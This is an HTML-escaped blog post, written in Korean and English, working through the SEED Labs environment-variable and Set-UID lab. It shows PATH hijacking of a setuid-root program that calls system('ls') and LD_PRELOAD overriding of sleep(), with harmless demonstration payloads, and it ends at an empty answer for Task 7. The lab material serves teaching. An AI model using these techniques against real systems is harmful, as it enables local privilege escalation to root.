&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #0086b3;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;lt;&lt;/span&gt;stdlib.h&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;extern&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;*&lt;/span&gt;environ;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;void&lt;/span&gt;&amp;nbsp;main()&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;int&lt;/span&gt;&amp;nbsp;i&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(environ[i]&amp;nbsp;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #0086b3;&quot;&gt;NULL&lt;/span&gt;)&amp;nbsp;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4be6fa;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;,&amp;nbsp;environ[i]);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #aaffaa;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #ff3399;&quot;&gt;+&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a style=&quot;color: #4f4f4ftext-decoration:none;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;2.&amp;nbsp;&lt;/b&gt;Compile&amp;nbsp;the&amp;nbsp;above&amp;nbsp;program,&amp;nbsp;change&amp;nbsp;its&amp;nbsp;ownership&amp;nbsp;to&amp;nbsp;root,&amp;nbsp;and&amp;nbsp;make&amp;nbsp;it&amp;nbsp;a&amp;nbsp;Set-UID&amp;nbsp;program.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #999999;&quot;&gt;//&amp;nbsp;Asssume&amp;nbsp;the&amp;nbsp;program&amp;rsquo;s&amp;nbsp;name&amp;nbsp;is&amp;nbsp;foo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;$&amp;nbsp;sudo&amp;nbsp;chown&amp;nbsp;root&amp;nbsp;foo&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;$&amp;nbsp;sudo&amp;nbsp;chmod&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;4755&lt;/span&gt;&amp;nbsp;foo&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a style=&quot;color: #4f4f4ftext-decoration:none;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;3.&amp;nbsp;&lt;/b&gt;In&amp;nbsp;your&amp;nbsp;shell&amp;nbsp;(you&amp;nbsp;need&amp;nbsp;to&amp;nbsp;be&amp;nbsp;in&amp;nbsp;a&amp;nbsp;normal&amp;nbsp;user&amp;nbsp;account,&amp;nbsp;not&amp;nbsp;the&amp;nbsp;root&amp;nbsp;account),&amp;nbsp;use&amp;nbsp;the&amp;nbsp;export&amp;nbsp;command&amp;nbsp;to&amp;nbsp;set&amp;nbsp;the&amp;nbsp;following&amp;nbsp;environment&amp;nbsp;variables&amp;nbsp;(they&amp;nbsp;may&amp;nbsp;have&amp;nbsp;already&amp;nbsp;exist):&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&amp;bull;&amp;nbsp;PATH &lt;br /&gt;&amp;bull;&amp;nbsp;LD&amp;nbsp;LIBRARY&amp;nbsp;PATH &lt;br /&gt;&amp;bull;&amp;nbsp;ANY&amp;nbsp;NAME&amp;nbsp;(this&amp;nbsp;is&amp;nbsp;an&amp;nbsp;environment&amp;nbsp;variable&amp;nbsp;defined&amp;nbsp;by&amp;nbsp;you,&amp;nbsp;so&amp;nbsp;pick&amp;nbsp;whatever&amp;nbsp;name&amp;nbsp;you&amp;nbsp;want).&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Describe&amp;nbsp;your&amp;nbsp;observation.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Answer.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;지금까지의 task와 마찬가지로 shell이 program을 실행할 때 fork()를 이용해 child process를 생성하고 exec()를 이용해 현재 process를 덮어 쓴다. 이 과정에서 현재 process의 environment variable를 상속받고 Set-UID 프로그램 역시 영향을 받는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;* PATH 변수를 변경할 때는 &quot;export PATH=[추가할 path]$PATH&quot;로 해야한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 6: The PATH Environment Variable and Set-UID Programs&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;b&gt;Goal: Understand the effect of PATH environment variables on Set-UID Programs&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;In&amp;nbsp;Bash,&amp;nbsp;you&amp;nbsp;can&amp;nbsp;change&amp;nbsp;the&amp;nbsp;PATH&amp;nbsp;environment&amp;nbsp;variable&amp;nbsp;in&amp;nbsp;the&amp;nbsp;following&amp;nbsp;way&amp;nbsp;(this&amp;nbsp;example&amp;nbsp;adds&amp;nbsp;the&amp;nbsp;directory&amp;nbsp;/home/seed&amp;nbsp;to&amp;nbsp;the&amp;nbsp;beginning&amp;nbsp;of&amp;nbsp;the&amp;nbsp;PATH&amp;nbsp;environment&amp;nbsp;variable): &lt;br /&gt;&lt;br /&gt;&lt;b&gt;$&amp;nbsp;export&amp;nbsp;PATH=/home/seed:$PATH&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The Set-UID program below is supposed to execute the /bin/ls command; however, the programmer only uses the relative path for the ls command, rather than the absolute path:&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;colorscripter-code&quot; style=&quot;color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position: relative !important; overflow: auto;&quot;&gt;
&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin: 0; padding: 0; border: none; background-color: #272727; border-radius: 4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border-right: 2px solid #4f4f4f;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; color: #aaa; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;1&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;2&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;3&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;4&lt;/div&gt;
&lt;div style=&quot;line-height: 130%;&quot;&gt;5&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px 0; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; color: #f0f0f0; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height: 130%;&quot;&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&lt;span style=&quot;color: #4be6fa;&quot;&gt;int&lt;/span&gt;&amp;nbsp;main()&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;{&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;span style=&quot;color: #ffd500;&quot;&gt;&quot;ls&quot;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ff3399;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c10aff;&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;padding: 0 6px; white-space: pre; line-height: 130%;&quot;&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: right; margin-top: -13px; margin-right: 5px; font-size: 9px; font-style: italic;&quot;&gt;&lt;a style=&quot;color: #4f4f4ftext-decoration:none;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;vertical-align: bottom; padding: 0 2px 4px 0;&quot;&gt;&lt;a style=&quot;text-decoration: none; color: white;&quot; href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: #4f4f4f; color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Please compile the above program, and change its owner to root, and make it a Set-UID program. Can you let this Set-UID program run your code instead of /bin/ls? If you can, is your code running with the root privilege? Describe and explain your observations.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Note(Ubuntu 16.04 patch):&lt;/b&gt; Before we start it, you need to command bellow.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Before we start it: $ sudo ln -sf /bin/zsh /bin/sh&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;After we finshed it: $ sudo ln -sf /bin/dash /bin/sh&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Answer.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;지금까지의 system() system call을 사용하면 내부적으로 &lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;/bin/sh -c command&quot;와 동일하기 때문에 현재 process가 사용하고 있는 environment variables와 export로 선언한 shell variables가 새로운 process의 environment variables로 전달된다. 또한 우리가 command를 입력할 때 full path를 입력하지 않아도 shell은 PATH 변수 list를 차례차례 찾아보고 실행한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&quot;&lt;b&gt;$ export PATH=/home/seed:$PATH&quot;&lt;/b&gt;로 인해 만일 ls라는 프로그램이 /home/seed 위치에 있다면 system 함수는 우리가 예상하는 /bin/ls 명령어 대신 /home/seed/ls 명령어를 실행할 것이다. 아래와 같이 ls.c를 작성하고 실험해보면 &quot;your Set-UID program is danger!!\n&quot;을 출력한다. 더 심각하게는 shadows 파일 등 root 권한으로 다양한 program을 실행시킬 수 있다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610104833655&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main(void)
{
        printf(&quot;your Set-UID program is danger!!\n&quot;);
        return 0;
}
~ &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;b&gt;Goal: Understand the effect of LD_PRELOAD environment variables on Set-UID Programs&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;b&gt;Step&amp;nbsp;1.&lt;/b&gt; First, we will see how these environment variables influence the behavior of dynamic loader/linker when&amp;nbsp;running&amp;nbsp;a&amp;nbsp;normal&amp;nbsp;program.&amp;nbsp;Please&amp;nbsp;follow&amp;nbsp;these&amp;nbsp;steps:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;1.&amp;nbsp;Let&amp;nbsp;us&amp;nbsp;build&amp;nbsp;a&amp;nbsp;dynamic&amp;nbsp;link&amp;nbsp;library.&amp;nbsp;Create&amp;nbsp;the&amp;nbsp;following&amp;nbsp;program,&amp;nbsp;and&amp;nbsp;name&amp;nbsp;it&amp;nbsp;mylib.c.&amp;nbsp;It&amp;nbsp;basically &lt;br /&gt;overrides&amp;nbsp;the&amp;nbsp;sleep()&amp;nbsp;function&amp;nbsp;in&amp;nbsp;libc:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610105350349&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void sleep (int s)
{
	/* If this is invoked by a privileged program,
	you can do damages here! */
	printf(&quot;I am not sleeping!\n&quot;);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;2. We can compile the above program using the following commands.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;$ gcc -fPIC -g -c mylib.c&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;3.&amp;nbsp;Now,&amp;nbsp;set&amp;nbsp;the&amp;nbsp;LD&amp;nbsp;PRELOAD&amp;nbsp;environment&amp;nbsp;variable:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;$ export LD_PRELOAD=./libmylib.so.1.0.1&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;4.&amp;nbsp;Finally,&amp;nbsp;compile&amp;nbsp;the&amp;nbsp;following&amp;nbsp;program&amp;nbsp;myprog,&amp;nbsp;and&amp;nbsp;in&amp;nbsp;the&amp;nbsp;same&amp;nbsp;directory&amp;nbsp;as&amp;nbsp;the&amp;nbsp;above&amp;nbsp;dynamic&amp;nbsp;link &lt;br /&gt;library libmylib.so.1.0.1:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1610105550704&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/* myprog.c */
int main()
{
	sleep(1);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;b&gt;Step&amp;nbsp;2.&amp;nbsp;&lt;/b&gt;After&amp;nbsp;you&amp;nbsp;have&amp;nbsp;done&amp;nbsp;the&amp;nbsp;above,&amp;nbsp;please&amp;nbsp;run&amp;nbsp;myprog&amp;nbsp;under&amp;nbsp;the&amp;nbsp;following&amp;nbsp;conditions,&amp;nbsp;and&amp;nbsp;observe &lt;br /&gt;what&amp;nbsp;happens. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;br /&gt;&amp;bull; (1) Make myprog a regular program, and run it as a normal user. &lt;br /&gt;&amp;bull; (2) Make myprog a Set-UID root program, and run it as a normal user. &lt;br /&gt;&amp;bull; (3) Make myprog a Set-UID root program, export the LD PRELOAD environment variable again in the&amp;nbsp;root&amp;nbsp;account&amp;nbsp;and&amp;nbsp;run&amp;nbsp;it. &lt;br /&gt;&amp;bull; (4) Make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), export the LD PRELOAD environment variable again in a different user&amp;rsquo;s account (not-root user) and run&amp;nbsp;it.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Step&amp;nbsp;3.&amp;nbsp;&lt;/b&gt;You&amp;nbsp;should&amp;nbsp;be&amp;nbsp;able&amp;nbsp;to&amp;nbsp;observe&amp;nbsp;different&amp;nbsp;behaviors&amp;nbsp;in&amp;nbsp;the&amp;nbsp;scenarios&amp;nbsp;described&amp;nbsp;above,&amp;nbsp;even&amp;nbsp;though &lt;br /&gt;you&amp;nbsp;are&amp;nbsp;running&amp;nbsp;the&amp;nbsp;same&amp;nbsp;program.&amp;nbsp;You&amp;nbsp;need&amp;nbsp;to&amp;nbsp;figure&amp;nbsp;out&amp;nbsp;what&amp;nbsp;causes&amp;nbsp;the&amp;nbsp;difference.&amp;nbsp;Environment&amp;nbsp;variables &lt;br /&gt;play&amp;nbsp;a&amp;nbsp;role&amp;nbsp;here.&amp;nbsp;Please&amp;nbsp;design&amp;nbsp;an&amp;nbsp;experiment&amp;nbsp;to&amp;nbsp;figure&amp;nbsp;out&amp;nbsp;the&amp;nbsp;main&amp;nbsp;causes,&amp;nbsp;and&amp;nbsp;explain&amp;nbsp;why&amp;nbsp;the&amp;nbsp;behaviors &lt;br /&gt;in&amp;nbsp;Step&amp;nbsp;2&amp;nbsp;are&amp;nbsp;different.&amp;nbsp;(Hint:&amp;nbsp;the&amp;nbsp;child&amp;nbsp;process&amp;nbsp;may&amp;nbsp;not&amp;nbsp;inherit&amp;nbsp;the&amp;nbsp;LD&amp;nbsp;*&amp;nbsp;environment&amp;nbsp;variables).&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Answer.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
